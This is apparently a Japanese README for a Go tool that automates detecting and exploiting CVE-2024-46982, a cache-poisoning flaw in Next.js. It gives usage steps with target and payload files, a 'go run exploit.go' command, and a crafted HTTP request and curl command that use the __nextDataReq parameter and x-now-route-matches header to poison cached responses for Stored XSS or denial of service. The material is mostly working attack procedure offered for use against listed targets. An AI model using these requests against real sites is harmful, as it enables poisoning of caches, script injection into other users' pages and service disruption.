
このツールは、Next.js におけるキャッシュポイズニングの脆弱性 CVE-2024-46982 の検出と悪用を自動化します。この脆弱性では、Server-Side Rendering (SSR) のレスポンスが Static Site Generation (SSG) として誤ってキャッシュされる可能性があります。この設定ミスにより、Stored XSS、DoS、データ漏えいが引き起こされ、攻撃者がキャッシュされたレスポンスに悪意のあるコンテンツを注入できるようになります。
targets.txt という名前のファイルを作成し、1行に1つのターゲットURLを記載します:
https://vulnerable-site.com
https://another-target.com
payloads.txt という名前のファイルを作成し、User-Agent ヘッダーを介して注入されるペイロードを記載します:
以下のコマンドでエクスプロイトをコンパイルして実行します:
go run exploit.go -f targets.txt -p payloads.txt -d 5
GET /poc?__nextDataReq=1 HTTP/1.1
Host: vulnerable-site.com
User-Agent: <PAYLOAD>
x-now-route-matches: 1
curlを使用して悪意のあるリクエストを送信します:
curl -X GET "https://vulnerable-site.com/poc?__nextDataReq=1" \
-H "User-Agent: " \
-H "x-now-route-matches: 1"
ブラウザでエンドポイントにアクセスします